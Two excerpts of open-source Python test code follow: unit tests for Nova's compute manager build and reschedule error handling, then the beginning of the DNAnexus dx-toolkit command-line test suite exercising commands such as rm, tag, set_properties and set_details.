'_cleanup_allocated_networks') self.mox.StubOutWithMock(self.compute, '_cleanup_volumes') self.mox.StubOutWithMock(compute_utils, 'add_instance_fault_from_exc') self.mox.StubOutWithMock(self.compute, '_nil_out_instance_obj_host_and_node') self.mox.StubOutWithMock(self.compute, '_set_instance_obj_error_state') self.mox.StubOutWithMock(self.compute.compute_task_api, 'build_instances') self._do_build_instance_update() self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties).AndRaise( exception.BuildAbortException(reason='', instance_uuid=self.instance.uuid)) self.compute._cleanup_allocated_networks(self.context, self.instance, self.requested_networks) self.compute._cleanup_volumes(self.context, self.instance.uuid, self.block_device_mapping, raise_exc=False) compute_utils.add_instance_fault_from_exc(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()) self.compute._nil_out_instance_obj_host_and_node(self.instance) self.compute._set_instance_obj_error_state(self.context, self.instance, clean_task_state=True) self._instance_action_events() self.mox.ReplayAll() self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.FAILED) @mock.patch('nova.hooks._HOOKS') @mock.patch('nova.utils.spawn_n') def test_rescheduled_exception(self, mock_spawn, mock_hooks): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self.mox.StubOutWithMock(self.compute, '_set_instance_obj_error_state') self.mox.StubOutWithMock(self.compute.compute_task_api, 'build_instances') self.mox.StubOutWithMock(self.compute, '_nil_out_instance_obj_host_and_node') self.mox.StubOutWithMock(self.compute.network_api, 'cleanup_instance_network_on_host') self._do_build_instance_update(reschedule_update=True) self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties).AndRaise( exception.RescheduledException(reason='', instance_uuid=self.instance.uuid)) self.compute.network_api.cleanup_instance_network_on_host(self.context, self.instance, self.compute.host) self.compute._nil_out_instance_obj_host_and_node(self.instance) self.compute.compute_task_api.build_instances(self.context, [self.instance], self.image, self.filter_properties, self.admin_pass, self.injected_files, self.requested_networks, self.security_groups, self.block_device_mapping) self._instance_action_events() self.mox.ReplayAll() self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.RESCHEDULED) def test_rescheduled_exception_with_non_ascii_exception(self): exc = exception.NovaException(u's\xe9quence') self.mox.StubOutWithMock(self.compute.driver, 'spawn') self.mox.StubOutWithMock(self.compute, '_build_networks_for_instance') self.mox.StubOutWithMock(self.compute, '_shutdown_instance') self.compute._build_networks_for_instance(self.context, self.instance, self.requested_networks, self.security_groups).AndReturn( self.network_info) self.compute._shutdown_instance(self.context, self.instance, self.block_device_mapping, self.requested_networks, try_deallocate_networks=False) self._notify_about_instance_usage('create.start', extra_usage_info={'image_name': self.image.get('name')}) self.compute.driver.spawn(self.context, self.instance, self.image, self.injected_files, self.admin_pass, network_info=self.network_info, block_device_info=self.block_device_info).AndRaise(exc) self._notify_about_instance_usage('create.error', fault=exc, stub=False) self.mox.ReplayAll() with mock.patch.object(self.instance, 'save') as mock_save: self.assertRaises(exception.RescheduledException, self.compute._build_and_run_instance, self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties) mock_save.assert_has_calls([ mock.call(), mock.call(), mock.call(expected_task_state='block_device_mapping'), ]) @mock.patch.object(manager.ComputeManager, '_build_and_run_instance') @mock.patch.object(conductor_api.ComputeTaskAPI, 'build_instances') @mock.patch.object(network_api.API, 'cleanup_instance_network_on_host') @mock.patch.object(objects.Instance, 'save') @mock.patch.object(objects.InstanceActionEvent, 'event_start') @mock.patch.object(objects.InstanceActionEvent, 'event_finish_with_failure') @mock.patch.object(virt_driver.ComputeDriver, 'macs_for_instance') def test_rescheduled_exception_with_network_allocated(self, mock_macs_for_instance, mock_event_finish, mock_event_start, mock_ins_save, mock_cleanup_network, mock_build_ins, mock_build_and_run): instance = fake_instance.fake_instance_obj(self.context, vm_state=vm_states.ACTIVE, system_metadata={'network_allocated': 'True'}, expected_attrs=['metadata', 'system_metadata', 'info_cache']) mock_ins_save.return_value = instance mock_macs_for_instance.return_value = [] mock_build_and_run.side_effect = exception.RescheduledException( reason='', instance_uuid=self.instance.uuid) self.compute._do_build_and_run_instance(self.context, instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) mock_build_and_run.assert_called_once_with(self.context, instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties) mock_cleanup_network.assert_called_once_with( self.context, instance, self.compute.host) mock_build_ins.assert_called_once_with(self.context, [instance], self.image, self.filter_properties, self.admin_pass, self.injected_files, self.requested_networks, self.security_groups, self.block_device_mapping) @mock.patch('nova.hooks._HOOKS') @mock.patch('nova.utils.spawn_n') def test_rescheduled_exception_without_retry(self, mock_spawn, mock_hooks): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self.mox.StubOutWithMock(compute_utils, 'add_instance_fault_from_exc') self.mox.StubOutWithMock(self.compute, '_set_instance_obj_error_state') self.mox.StubOutWithMock(self.compute, '_cleanup_allocated_networks') self.mox.StubOutWithMock(self.compute, '_cleanup_volumes') self.mox.StubOutWithMock(self.compute, '_nil_out_instance_obj_host_and_node') self._do_build_instance_update() self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, {}).AndRaise( exception.RescheduledException(reason='', instance_uuid=self.instance.uuid)) self.compute._cleanup_allocated_networks(self.context, self.instance, self.requested_networks) compute_utils.add_instance_fault_from_exc(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()) self.compute._nil_out_instance_obj_host_and_node(self.instance) self.compute._set_instance_obj_error_state(self.context, self.instance, clean_task_state=True) self._instance_action_events() self.mox.ReplayAll() self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties={}, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.FAILED) @mock.patch('nova.hooks._HOOKS') @mock.patch('nova.utils.spawn_n') def test_rescheduled_exception_do_not_deallocate_network(self, mock_spawn, mock_hooks): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self.mox.StubOutWithMock(self.compute.driver, 'deallocate_networks_on_reschedule') self.mox.StubOutWithMock(self.compute, '_cleanup_allocated_networks') self.mox.StubOutWithMock(self.compute, '_nil_out_instance_obj_host_and_node') self.mox.StubOutWithMock(self.compute.compute_task_api, 'build_instances') self.mox.StubOutWithMock(self.compute.network_api, 'cleanup_instance_network_on_host') self._do_build_instance_update(reschedule_update=True) self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties).AndRaise( exception.RescheduledException(reason='', instance_uuid=self.instance.uuid)) self.compute.driver.deallocate_networks_on_reschedule( self.instance).AndReturn(False) self.compute.network_api.cleanup_instance_network_on_host( self.context, self.instance, self.compute.host) self.compute._nil_out_instance_obj_host_and_node(self.instance) self.compute.compute_task_api.build_instances(self.context, [self.instance], self.image, self.filter_properties, self.admin_pass, self.injected_files, self.requested_networks, self.security_groups, self.block_device_mapping) self._instance_action_events() self.mox.ReplayAll() self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.RESCHEDULED) @mock.patch('nova.hooks._HOOKS') @mock.patch('nova.utils.spawn_n') def test_rescheduled_exception_deallocate_network(self, mock_spawn, mock_hooks): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self.mox.StubOutWithMock(self.compute.driver, 'deallocate_networks_on_reschedule') self.mox.StubOutWithMock(self.compute, '_cleanup_allocated_networks') self.mox.StubOutWithMock(self.compute, '_nil_out_instance_obj_host_and_node') self.mox.StubOutWithMock(self.compute.compute_task_api, 'build_instances') self._do_build_instance_update(reschedule_update=True) self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties).AndRaise( exception.RescheduledException(reason='', instance_uuid=self.instance.uuid)) self.compute.driver.deallocate_networks_on_reschedule( self.instance).AndReturn(True) self.compute._cleanup_allocated_networks(self.context, self.instance, self.requested_networks) self.compute._nil_out_instance_obj_host_and_node(self.instance) self.compute.compute_task_api.build_instances(self.context, [self.instance], self.image, self.filter_properties, self.admin_pass, self.injected_files, self.requested_networks, self.security_groups, self.block_device_mapping) self._instance_action_events() self.mox.ReplayAll() self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.RESCHEDULED) def _test_build_and_run_exceptions(self, exc, set_error=False, cleanup_volumes=False, nil_out_host_and_node=False): self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self.mox.StubOutWithMock(self.compute, '_cleanup_allocated_networks') self.mox.StubOutWithMock(self.compute, '_cleanup_volumes') self.mox.StubOutWithMock(self.compute.compute_task_api, 'build_instances') self._do_build_instance_update() self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties).AndRaise(exc) self.compute._cleanup_allocated_networks(self.context, self.instance, self.requested_networks) if cleanup_volumes: self.compute._cleanup_volumes(self.context, self.instance.uuid, self.block_device_mapping, raise_exc=False) if nil_out_host_and_node: self.mox.StubOutWithMock(self.compute, '_nil_out_instance_obj_host_and_node') self.compute._nil_out_instance_obj_host_and_node(self.instance) if set_error: self.mox.StubOutWithMock(self.compute, '_set_instance_obj_error_state') self.mox.StubOutWithMock(compute_utils, 'add_instance_fault_from_exc') compute_utils.add_instance_fault_from_exc(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()) self.compute._set_instance_obj_error_state(self.context, self.instance, clean_task_state=True) self._instance_action_events() self.mox.ReplayAll() with contextlib.nested( mock.patch('nova.utils.spawn_n'), mock.patch('nova.hooks._HOOKS') ) as ( mock_spawn, mock_hooks ): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.FAILED) def test_build_and_run_notfound_exception(self): self._test_build_and_run_exceptions(exception.InstanceNotFound( instance_id='')) def test_build_and_run_unexpecteddeleting_exception(self): self._test_build_and_run_exceptions( exception.UnexpectedDeletingTaskStateError( instance_uuid='fake_uuid', expected={}, actual={})) def test_build_and_run_buildabort_exception(self): self._test_build_and_run_exceptions( exception.BuildAbortException(instance_uuid='', reason=''), set_error=True, cleanup_volumes=True, nil_out_host_and_node=True) def test_build_and_run_unhandled_exception(self): self._test_build_and_run_exceptions(test.TestingException(), set_error=True, cleanup_volumes=True, nil_out_host_and_node=True) def test_instance_not_found(self): exc = exception.InstanceNotFound(instance_id=1) self.mox.StubOutWithMock(self.compute.driver, 'spawn') self.mox.StubOutWithMock(self.compute, '_build_networks_for_instance') self.mox.StubOutWithMock(self.compute, '_shutdown_instance') self.compute._build_networks_for_instance(self.context, self.instance, self.requested_networks, self.security_groups).AndReturn( self.network_info) self.compute._shutdown_instance(self.context, self.instance, self.block_device_mapping, self.requested_networks, try_deallocate_networks=False) self._notify_about_instance_usage('create.start', extra_usage_info={'image_name': self.image.get('name')}) self.compute.driver.spawn(self.context, self.instance, self.image, self.injected_files, self.admin_pass, network_info=self.network_info, block_device_info=self.block_device_info).AndRaise(exc) self._notify_about_instance_usage('create.end', fault=exc, stub=False) self.mox.ReplayAll() with mock.patch.object(self.instance, 'save') as mock_save: self.assertRaises(exception.InstanceNotFound, self.compute._build_and_run_instance, self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties) mock_save.assert_has_calls([ mock.call(), mock.call(), mock.call(expected_task_state='block_device_mapping'), ]) def test_reschedule_on_exception(self): self.mox.StubOutWithMock(self.compute.driver, 'spawn') self.mox.StubOutWithMock(self.compute, '_build_networks_for_instance') self.mox.StubOutWithMock(self.compute, '_shutdown_instance') self.compute._build_networks_for_instance(self.context, self.instance, self.requested_networks, self.security_groups).AndReturn( self.network_info) self.compute._shutdown_instance(self.context, self.instance, self.block
codeparrot/github-code-clean
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2013-2016 DNAnexus, Inc. # # This file is part of dx-toolkit (DNAnexus platform client libraries). # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy # of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import print_function, unicode_literals, division, absolute_import import os, sys, unittest, json, tempfile, subprocess, csv, shutil, re, base64, random, time import pipes import hashlib import collections from contextlib import contextmanager import pexpect import requests import dxpy from dxpy.scripts import dx_build_app from dxpy_testutil import (DXTestCase, check_output, temporary_project, select_project, cd, override_environment, generate_unique_username_email, without_project_context, without_auth, as_second_user) import dxpy_testutil as testutil from dxpy.exceptions import DXAPIError, DXSearchError, EXPECTED_ERR_EXIT_STATUS, HTTPError from dxpy.compat import str, sys_encoding, open from dxpy.utils.resolver import ResolutionError, _check_resolution_needed as check_resolution @contextmanager def chdir(dirname=None): curdir = os.getcwd() try: if dirname is not None: os.chdir(dirname) yield finally: os.chdir(curdir) def run(command, **kwargs): print("$ %s" % (command,)) output = check_output(command, shell=True, **kwargs) print(output) return output def create_file_in_project(fname, trg_proj_id, folder=None): data = "foo" if folder is None: dxfile = dxpy.upload_string(data, name=fname, project=trg_proj_id, wait_on_close=True) else: dxfile = dxpy.upload_string(data, name=fname, project=trg_proj_id, folder=folder, wait_on_close=True) return dxfile.get_id() def create_project(): project_name = "test_dx_cp_" + str(random.randint(0, 1000000)) + "_" + str(int(time.time() * 1000)) return dxpy.api.project_new({'name': project_name})['id'] def rm_project(proj_id): dxpy.api.project_destroy(proj_id, {"terminateJobs": True}) def create_folder_in_project(proj_id, path): dxpy.api.project_new_folder(proj_id, {"folder": path}) def list_folder(proj_id, path): output = dxpy.api.project_list_folder(proj_id, {"folder": path}) # Canonicalize to account for possibly different ordering output['folders'] = set(output['folders']) # (objects is a list of dicts-- which are not hashable-- so just # sort them to canonicalize instead of putting them in a set) output['objects'] = sorted(output['objects']) return output def makeGenomeObject(): # NOTE: for these tests we don't upload a full sequence file (which # would be huge, for hg19). Importers and exporters that need to # look at the full sequence file can't be run on this test # contigset. sequence_file = dxpy.upload_string("", hidden=True) genome_record = dxpy.new_dxrecord() genome_record.set_details({ "flat_sequence_file": {"$dnanexus_link": sequence_file.get_id()}, "contigs": { "offsets": [0], "names": ["chr1"], "sizes": [249250621] } }) genome_record.add_types(["ContigSet"]) genome_record.close() sequence_file.wait_on_close() return genome_record.get_id() class TestDXTestUtils(DXTestCase): def test_temporary_project(self): test_dirname = '/test_folder' with temporary_project('test_temporary_project', select=True) as temp_project: self.assertEquals('test_temporary_project:/', run('dx pwd').strip()) def test_select_project(self): test_dirname = '/test_folder' with temporary_project('test_select_project') as temp_project: test_projectid = temp_project.get_id() run('dx mkdir -p {project}:{dirname}'.format(project=test_projectid, dirname=test_dirname)) with select_project(test_projectid): # This would fail if the project context hadn't been # successfully changed by select_project run('dx cd {dirname}'.format(dirname=test_dirname)) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_without_project_context(self): self.assertIn('DX_PROJECT_CONTEXT_ID', run('dx env --bash')) with without_project_context(): self.assertNotIn('DX_PROJECT_CONTEXT_ID', run('dx env --bash')) self.assertIn('DX_PROJECT_CONTEXT_ID', run('dx env --bash')) @unittest.skipUnless(testutil.TEST_ENV, 'skipping test that would clobber your local environment') def test_without_auth(self): self.assertIn('DX_SECURITY_CONTEXT', run('dx env --bash')) with without_auth(): self.assertNotIn('DX_SECURITY_CONTEXT', run('dx env --bash')) self.assertIn('DX_SECURITY_CONTEXT', run('dx env --bash')) @unittest.skipUnless(testutil.TEST_MULTIPLE_USERS, 'skipping test that would require multiple users') def test_as_second_user(self): default_user = run('dx whoami').strip() second_user = run('dx whoami', env=as_second_user()).strip() expected_user = json.loads(os.environ['DXTEST_SECOND_USER'])['user'].split('-')[1] self.assertEqual(expected_user, second_user) self.assertNotEqual(default_user, second_user) # TODO: these 'dx rm' and related commands should really exit with code 3 to distinguish user and internal errors class TestDXRemove(DXTestCase): def test_remove_folders(self): folder_name = "/test_folder" record_name = "test_folder" record_name2 = "test_folder2" # Throw error on non-existent folder with self.assertSubprocessFailure(exit_code=1): run("dx rm -r {f}".format(f=folder_name)) # make folder and file of the same name, confirm that file is deleted with regular rm call create_folder_in_project(self.project, folder_name) self.assertIn(folder_name, list_folder(self.project, "/")['folders']) run("dx new record {f}".format(f=record_name)) self.assertEquals(record_name, dxpy.find_one_data_object(classname="record", describe=True, project=self.project)['describe']['name']) # -r flag shouldn't matter, object will take precedence over folder run("dx rm -r {f}".format(f=record_name)) with self.assertRaises(DXSearchError): dxpy.find_one_data_object(classname="record", describe=True, project=self.project) # if no -r flag provided, should throw error since it's a folder with self.assertSubprocessFailure(exit_code=1): run("dx rm {f}".format(f=record_name)) # finally remove the folder run("dx rm -r {f}".format(f=record_name)) self.assertNotIn(folder_name, list_folder(self.project, "/")['folders']) # make a record and then try to delete that record along with a non-existent record run("dx new record {f}".format(f=record_name)) self.assertEquals(record_name, dxpy.find_one_data_object(classname="record", describe=True, project=self.project)['describe']['name']) with self.assertSubprocessFailure(exit_code=1): run("dx rm {f} {f2}".format(f=record_name, f2=record_name2)) class TestDXClient(DXTestCase): def test_dx_version(self): version = run("dx --version") self.assertIn("dx", version) def test_dx_debug_request_id(self): (stdout, stderr) = run("_DX_DEBUG=1 dx ls", also_return_stderr=True) self.assertRegexpMatches(stderr, "POST \d{13}-\d{1,6} http", msg="stderr does not appear to contain request ID") def test_dx_actions(self): with self.assertRaises(subprocess.CalledProcessError): run("dx") run("dx help") folder_name = "эксперимент 1" cd("/") run("dx ls") run("dx mkdir '{f}'".format(f=folder_name)) cd(folder_name) with tempfile.NamedTemporaryFile() as f: local_filename = f.name filename = folder_name run("echo xyzzt > {tf}".format(tf=local_filename)) fileid = run("dx upload --wait {tf} -o '../{f}/{f}' --brief".format(tf=local_filename, f=filename)) self.assertEqual(fileid, run("dx ls '../{f}/{f}' --brief".format(f=filename))) self.assertEqual("xyzzt\n", run("dx head '../{f}/{f}'".format(f=filename))) run("dx pwd") cd("..") run("dx pwd") run("dx ls") with self.assertRaises(subprocess.CalledProcessError): run("dx rm '{f}'".format(f=filename)) cd(folder_name) run("dx mv '{f}' '{f}2'".format(f=filename)) run("dx mv '{f}2' '{f}'".format(f=filename)) run("dx rm '{f}'".format(f=filename)) table_name = folder_name with tempfile.NamedTemporaryFile(suffix='.csv') as f: writer = csv.writer(f) writer.writerows([['a:uint8', 'b:string', 'c:float'], [1, "x", 1.0], [2, "y", 4.0]]) f.flush() run("dx import csv -o '../{n}' '{f}' --wait".format(n=table_name, f=f.name)) run("dx export csv '../{n}' --output {o} -f".format(n=table_name, o=f.name)) run("dx get_details '../{n}'".format(n=table_name)) cd("..") run("dx rmdir '{f}'".format(f=folder_name)) run("dx tree") run("dx find data --name '{n}'".format(n=table_name)) run("dx find data --name '{n} --property foo=bar'".format(n=table_name)) run("dx rename '{n}' '{n}'2".format(n=table_name)) run("dx rename '{n}'2 '{n}'".format(n=table_name)) run("dx set_properties '{n}' '{n}={n}' '{n}2={n}3'".format(n=table_name)) run("dx unset_properties '{n}' '{n}' '{n}2'".format(n=table_name)) run("dx tag '{n}' '{n}'2".format(n=table_name)) run("dx describe '{n}'".format(n=table_name)) # Path resolution is used run("dx find jobs --project :") run("dx find executions --project :") run("dx find analyses --project :") run("dx find data --project :") def test_get_unicode_url(self): with self.assertSubprocessFailure(stderr_regexp="ResourceNotFound", exit_code=3): run("dx api project-эксперимент describe") def test_dx_env(self): run("dx env") run("dx env --bash") run("dx env --dx-flags") def test_dx_api(self): with tempfile.NamedTemporaryFile() as fd: fd.write("{}") fd.flush() run("dx api {p} describe --input {fn}".format(p=self.project, fn=fd.name)) @unittest.skipUnless(testutil.TEST_NO_RATE_LIMITS, 'skipping tests that need rate limits to be disabled') def test_dx_invite(self): for query in ("Ψ", "alice.nonexistent", "alice.nonexistent {p}", "user-alice.nonexistent {p}", "alice.nonexistent@example.com {p}", "alice.nonexistent : VIEW"): with self.assertSubprocessFailure(stderr_regexp="ResourceNotFound", exit_code=3): run(("dx invite "+query).format(p=self.project)) with self.assertSubprocessFailure(stderr_regexp="invalid choice", exit_code=2): run(("dx invite alice.nonexistent : ПРОСМОТР").format(p=self.project)) @unittest.skipUnless(testutil.TEST_NO_RATE_LIMITS, 'skipping tests that need rate limits to be disabled') def test_dx_uninvite(self): for query in ("Ψ", "alice.nonexistent", "alice.nonexistent {p}", "user-alice.nonexistent {p}", "alice.nonexistent@example.com {p}"): with self.assertSubprocessFailure(stderr_regexp="ResourceNotFound", exit_code=3): run(("dx uninvite "+query).format(p=self.project)) def test_dx_add_rm_types(self): run("dx new record Ψ") run("dx add_types Ψ abc xyz") with self.assertSubprocessFailure(stderr_text="be an array of valid strings for a type name", exit_code=1): run("dx add_types Ψ ΨΨ") run("dx remove_types Ψ abc xyz") run("dx remove_types Ψ abc xyz") with self.assertSubprocessFailure(stderr_regexp="Unable to resolve", exit_code=3): run("dx remove_types ΨΨ Ψ") def test_dx_set_details(self): record_id = run("dx new record Ψ1 --brief").strip() run("dx set_details Ψ1 '{\"foo\": \"bar\"}'") dxrecord = dxpy.DXRecord(record_id) details = dxrecord.get_details() self.assertEqual({"foo": "bar"}, details, msg="dx set_details with valid JSON string input failed.") def test_dx_set_details_with_file(self): # Create temporary JSON file with valid JSON. with tempfile.NamedTemporaryFile() as tmp_file, tempfile.NamedTemporaryFile() as tmp_invalid_file: tmp_file.write('{\"foo\": \"bar\"}') tmp_file.flush() # Test -f with valid JSON file. record_id = run("dx new record Ψ2 --brief").strip() run("dx set_details Ψ2 -f " + pipes.quote(tmp_file.name)) dxrecord = dxpy.DXRecord(record_id) details = dxrecord.get_details() self.assertEqual({"foo": "bar"}, details, msg="dx set_details -f with valid JSON input file failed.") # Test --details-file with valid JSON file. record_id = run("dx new record Ψ3 --brief").strip() run("dx set_details Ψ3 --details-file " + pipes.quote(tmp_file.name)) dxrecord = dxpy.DXRecord(record_id) details = dxrecord.get_details() self.assertEqual({"foo": "bar"}, details, msg="dx set_details --details-file with valid JSON input file failed.") # Create temporary JSON file with invalid JSON. tmp_invalid_file.write('{\"foo\": \"bar\"') tmp_invalid_file.flush() # Test above with invalid JSON file. record_id = run("dx new record Ψ4 --brief").strip() with self.assertSubprocessFailure(stderr_regexp="JSON", exit_code=3): run("dx set_details Ψ4 -f " + pipes.quote(tmp_invalid_file.name)) # Test command with (-f or --details-file) and CL JSON. with self.assertSubprocessFailure(stderr_regexp="Error: Cannot provide both -f/--details-file and details", exit_code=3): run("dx set_details Ψ4 '{ \"foo\":\"bar\" }' -f " + pipes.quote(tmp_file.name)) # Test piping JSON from STDIN. record_id = run("dx new record Ψ5 --brief").strip() run("cat " + pipes.quote(tmp_file.name) + " | dx set_details Ψ5 -f -") dxrecord = dxpy.DXRecord(record_id) details = dxrecord.get_details() self.assertEqual({"foo": "bar"}, details, msg="dx set_details -f - with valid JSON input failed.") def test_dx_shell(self): shell = pexpect.spawn("bash") shell.logfile = sys.stdout shell.sendline("dx sh") shell.expect(">") shell.sendline("Ψ 'Ψ Ψ'") shell.expect("invalid choice: Ψ".encode(sys_encoding)) shell.expect(">") shell.sendline("env") shell.expect("Current user") shell.sendline("help all") shell.expect("Commands:") shell.sendline("exit") shell.sendline("echo find projects | dx sh") shell.expect("project-") def test_dx_get_record(self): with chdir(tempfile.mkdtemp()): run("dx new record -o :foo --verbose") run("dx get :foo") self.assertTrue(os.path.exists('foo.json')) run("dx get --no-ext :foo") self.assertTrue(os.path.exists('foo')) run("diff -q foo foo.json") def test_dx_object_tagging(self): the_tags = ["Σ1=n", "helloo0", "ωω"] # tag record_id = run("dx new record Ψ --brief").strip() run("dx tag Ψ " + " ".join(the_tags)) mytags = dxpy.describe(record_id)['tags'] for tag in the_tags: self.assertIn(tag, mytags) # untag run("dx untag Ψ " + " ".join(the_tags[:2])) mytags = dxpy.describe(record_id)['tags'] for tag in the_tags[:2]: self.assertNotIn(tag, mytags) self.assertIn(the_tags[2], mytags) # -a flag second_record_id = run("dx new record Ψ --brief").strip() self.assertNotEqual(record_id, second_record_id) run("dx tag -a Ψ " + " ".join(the_tags)) mytags = dxpy.describe(record_id)['tags'] for tag in the_tags: self.assertIn(tag, mytags) second_tags = dxpy.describe(second_record_id)['tags'] for tag in the_tags: self.assertIn(tag, second_tags) run("dx untag -a Ψ " + " ".join(the_tags)) mytags = dxpy.describe(record_id)['tags'] self.assertEqual(len(mytags), 0) second_tags = dxpy.describe(second_record_id)['tags'] self.assertEqual(len(second_tags), 0) # nonexistent name with self.assertSubprocessFailure(stderr_regexp='Unable to resolve', exit_code=3): run("dx tag nonexistent atag") with self.assertSubprocessFailure(stderr_regexp='Unable to resolve', exit_code=3): run("dx untag nonexistent atag") def test_dx_project_tagging(self): the_tags = ["$my.tag", "secoиdtag", "тhird тagggg"] # tag run("dx tag : \\" + the_tags[0] + " " + the_tags[1] + " '" + the_tags[2] + "'") mytags = dxpy.describe(self.project)['tags'] for tag in the_tags: self.assertIn(tag, mytags) # untag run("dx untag : \\" + the_tags[0] + " '" + the_tags[2] + "'") mytags = dxpy.describe(self.project)['tags'] self.assertIn(the_tags[1], mytags) for tag in [the_tags[0], the_tags[2]]: self.assertNotIn(tag, mytags) # nonexistent name with self.assertSubprocessFailure(stderr_regexp='Could not find a project named', exit_code=3): run("dx tag nonexistent: atag") with self.assertSubprocessFailure(stderr_regexp='Could not find a project named', exit_code=3): run("dx untag nonexistent: atag") def test_dx_object_properties(self): property_names = ["Σ_1^n", "helloo0", "ωω"] property_values = ["n", "world z", "ω()"] # set_properties record_id = run("dx new record Ψ --brief").strip() run("dx set_properties Ψ " + " ".join(["'" + prop[0] + "'='" + prop[1] + "'" for prop in zip(property_names, property_values)])) my_properties = dxpy.api.record_describe(record_id, {"properties": True})['properties'] for (name, value) in zip(property_names, property_values): self.assertIn(name, my_properties) self.assertEqual(value, my_properties[name]) # unset_properties run("dx unset_properties Ψ '" + "' '".join(property_names[:2]) + "'") my_properties = dxpy.api.record_describe(record_id, {"properties": True})['properties'] for name in property_names[:2]: self.assertNotIn(name, my_properties) self.assertIn(property_names[2], my_properties) self.assertEqual(property_values[2], my_properties[property_names[2]]) # -a flag second_record_id = run("dx new record Ψ --brief").strip() self.assertNotEqual(record_id, second_record_id) run("dx set_properties -a Ψ " + " ".join(["'" + prop[0] + "'='" + prop[1] + "'" for prop in zip(property_names, property_values)])) my_properties = dxpy.api.record_describe(record_id, {"properties": True})['properties'] for (name, value) in zip(property_names, property_values): self.assertIn(name, my_properties) self.assertEqual(value, my_properties[name]) second_properties = dxpy.api.record_describe(second_record_id, {"properties": True})['properties'] for (name, value) in zip(property_names, property_values): self.assertIn(name, my_properties) self.assertEqual(value, my_properties[name]) run("dx unset_properties -a Ψ '" + "' '".join(property_names) + "'") my_properties = dxpy.api.record_describe(record_id, {"properties": True})['properties'] self.assertEqual(len(my_properties), 0) second_properties = dxpy.api.record_describe(second_record_id, {"properties": True})['properties'] self.assertEqual(len(second_properties), 0) # nonexistent name with self.assertSubprocessFailure(stderr_regexp='Unable to resolve', exit_code=3): run("dx set_properties nonexistent key=value") with self.assertSubprocessFailure(stderr_regexp='Unable to resolve', exit_code=3): run("dx unset_properties nonexistent key") # Errors parsing --property value with self.assertSubprocessFailure(stderr_regexp='property_key', exit_code=3): run("dx set_properties 